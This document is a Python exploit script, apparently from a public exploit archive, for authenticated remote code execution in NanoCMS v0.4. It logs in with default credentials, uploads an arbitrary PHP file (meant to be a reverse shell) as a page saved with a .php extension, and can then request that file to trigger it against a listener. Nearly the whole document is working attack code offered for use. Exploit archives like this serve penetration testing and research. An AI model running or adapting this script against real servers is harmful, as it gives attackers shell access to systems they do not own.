NanoCMS 0.4 Remote Code Execution

`# Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2022-07-26  
# Exploit Auuthor: p1ckzi  
# Vendor Homepage: https://github.com/kalyan02/NanoCMS  
# Version: NanoCMS v0.4  
# Tested on: Linux Mint 20.3  
# CVE: N/A  
#  
# Description:  
# this script uploads a php reverse shell to the target.  
# NanoCMS does not sanitise the data of an authenticated user while creating  
# webpages. pages are saved with .php extensions by default, allowing an  
# authenticated attacker access to the underlying system:  
# https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt  
  
#!/usr/bin/env python3  
  
import argparse  
import bs4  
import errno  
import re  
import requests  
import secrets  
import sys  
  
  
def arguments():  
parser = argparse.ArgumentParser(  
formatter_class=argparse.RawDescriptionHelpFormatter,  
description=f"{sys.argv[0]} exploits authenticated file upload"  
"\nand remote code execution in NanoCMS v0.4",  
epilog=f"examples:"  
f"\n\tpython3 {sys.argv[0]} http://10.10.10.10/ rev.php"  
f"\n\tpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a"  
f"\n\t./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'"  
)  
parser.add_argument(  
"address", help="schema/ip/hostname, port, sub-directories"  
" to the vulnerable NanoCMS server"  
)  
parser.add_argument(  
"file", help="php file to upload"  
)  
parser.add_argument(  
"-u", "--user", help="username", default="admin"  
)  
parser.add_argument(  
"-p", "--passwd", help="password", default="demo"  
)  
parser.add_argument(  
"-e", "--execute", help="attempts to make a request to the uploaded"  
" file (more useful if uploading a reverse shell)",  
action="store_true", default=False  
)  
parser.add_argument(  
"-a", "--accessible", help="turns off features"  
" which may negatively affect screen readers",  
action="store_true", default=False  
)  
parser.add_argument(  
"-n", "--no-colour", help="removes colour output",  
action="store_true", default=False  
)  
arguments.option = parser.parse_args()  
  
  
# settings for terminal output defined by user in term_settings().  
class settings():  
# colours.  
c0 = ""  
c1 = ""  
c2 = ""  
  
# information boxes.  
i1 = ""  
i2 = ""  
i3 = ""  
i4 = ""  
  
  
# checks for terminal setting flags supplied by arguments().  
def term_settings():  
if arguments.option.accessible:  
small_banner()  
elif arguments.option.no_colour:  
settings.i1 = "[+] "  
settings.i2 = "[!] "  
settings.i3 = "[i] "  
settings.i4 = "$ "  
banner()  
elif not arguments.option.accessible or arguments.option.no_colour:  
settings.c0 = "\u001b[0m" # reset.  
settings.c1 = "\u001b[38;5;1m" # red.  
settings.c2 = "\u001b[38;5;2m" # green.  
settings.i1 = "[+] "  
settings.i2 = "[!] "  
settings.i3 = "[i] "  
settings.i4 = "$ "  
banner()  
else:  
print("something went horribly wrong!")  
sys.exit()  
  
  
# default terminal banner (looks prettier when run lol)  
def banner():  
print(  
"\n .__ .__"  
" .__ "  
"\n ____ _____ ____ ____ ____ _____ _____| |__ ____ | "  
"| | | "  
"\n / \\__ \\ / \\ / _ \\_/ ___\\ / \\ / ___/ | \\_/ "  
"__ \\| | | | "  
"\n| | \\/ __ \\| | ( <_> ) \\___| Y Y \\___ \\| Y \\ _"  
"__/| |_| |__"  
"\n|___| (____ /___| /\\____/ \\___ >__|_| /____ >___| /\\___ "  
">____/____/"  
"\n \\/ \\/ \\/ \\/ \\/ \\/ \\/ "  
" \\/"  
)  
  
  
def small_banner():  
print(  
f"{sys.argv[0]}"  
"\nNanoCMS authenticated file upload and rce..."  
)  
  
  
# appends a '/' if not supplied at the end of the address.  
def address_check(address):  
check = re.search('/$', address)  
if check is not None:  
print('')  
else:  
arguments.option.address += "/"  
  
  
# creates a new filename for each upload.  
# errors occur if the filename is the same as a previously uploaded one.  
def random_filename():  
random_filename.name = secrets.token_hex(4)  
  
  
# note: after a successful login, credentials are saved, so further reuse  
# of the script will most likely not require correct credentials.  
def login(address, user, passwd):  
post_header = {  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "  
"Gecko/20100101 Firefox/91.0",  
"Accept": "text/html,application/xhtml+xml,"  
"application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded",  
"Content-Length": "",  
"Connection": "close",  
"Referer": f"{arguments.option.address}data/nanoadmin.php",  
"Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",  
"Upgrade-Insecure-Requests": "1",  
}  
post_data = {  
"user": f"{user}",  
"pass": f"{passwd}"  
}  
  
url_request = requests.post(  
address + 'data/nanoadmin.php?',  
headers=post_header,  
data=post_data,  
verify=False,  
timeout=30  
)  
signin_error = url_request.text  
if 'Error : wrong Username or Password' in signin_error:  
print(  
f"{settings.c1}{settings.i2}could "  
f"sign in with {arguments.option.user}/"  
f"{arguments.option.passwd}.{settings.c0}"  
)  
sys.exit(1)  
else:  
print(  
f"{settings.c2}{settings.i1}logged in successfully."  
f"{settings.c0}"  
)  
  
  
def exploit(address, file, name):  
with open(arguments.option.file, 'r') as file:  
file_contents = file.read().rstrip()  
post_header = {  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "  
"Gecko/20100101 Firefox/91.0",  
"Accept": "text/html,application/xhtml+xml,"  
"application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded",  
"Content-Length": "",  
"Connection": "close",  
"Referer": f"{arguments.option.address}data/nanoadmin.php?action="  
"addpage",  
"Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",  
"Upgrade-Insecure-Requests": "1",  
}  
  
post_data = {  
"title": f"{random_filename.name}",  
"save": "Add Page",  
"check_sidebar": "sidebar",  
"content": f"{file_contents}"  
}  
  
url_request = requests.post(  
address + 'data/nanoadmin.php?action=addpage',  
headers=post_header,  
data=post_data,  
verify=False,  
timeout=30  
)  
if url_request.status_code == 404:  
print(  
f"{settings.c1}{settings.i2}{arguments.option.address} could "  
f"not be uploaded.{settings.c0}"  
)  
sys.exit(1)  
else:  
print(  
f"{settings.c2}{settings.i1}file posted."  
f"{settings.c0}"  
)  
  
print(  
f"{settings.i3}if successful, file location should be at:"  
f"\n{address}data/pages/{random_filename.name}.php"  
)  
  
  
def execute(address, file, name):  
print(  
f"{settings.i3}making web request to uploaded file."  
)  
print(  
f"{settings.i3}check listener if reverse shell uploaded."  
)  
url_request = requests.get(  
address + f'data/pages/{random_filename.name}.php',  
verify=False  
)  
if url_request.status_code == 404:  
print(  
f"{settings.c1}{settings.i2}{arguments.option.file} could "  
f"not be found."  
f"\n{settings.i2}antivirus may be blocking your upload."  
f"{settings.c0}"  
)  
else:  
sys.exit()  
  
  
def main():  
try:  
arguments()  
term_settings()  
address_check(arguments.option.address)  
random_filename()  
if arguments.option.execute:  
login(  
arguments.option.address,  
arguments.option.user,  
arguments.option.passwd  
)  
exploit(  
arguments.option.address,  
arguments.option.file,  
random_filename.name,  
)  
execute(  
arguments.option.address,  
arguments.option.file,  
random_filename.name,  
)  
else:  
login(  
arguments.option.address,  
arguments.option.user,  
arguments.option.passwd  
)  
exploit(  
arguments.option.address,  
arguments.option.file,  
random_filename.name,  
)  
except KeyboardInterrupt:  
print(f"\n{settings.i3}quitting.")  
sys.exit()  
except requests.exceptions.Timeout:  
print(  
f"{settings.c1}{settings.i2}the request timed out "  
f"while attempting to connect.{settings.c0}"  
)  
sys.exit()  
except requests.ConnectionError:  
print(  
f"{settings.c1}{settings.i2}could not connect "  
f"to {arguments.option.address}{settings.c0}"  
)  
sys.exit()  
except FileNotFoundError:  
print(  
f"{settings.c1}{settings.i2}{arguments.option.file} "  
f"could not be found.{settings.c0}"  
)  
except (  
requests.exceptions.MissingSchema,  
requests.exceptions.InvalidURL,  
requests.exceptions.InvalidSchema  
):  
print(  
f"{settings.c1}{settings.i2}a valid schema and address "  
f"must be supplied.{settings.c0}"  
)  
sys.exit()  
  
  
if __name__ == "__main__":  
main()  
  
  
`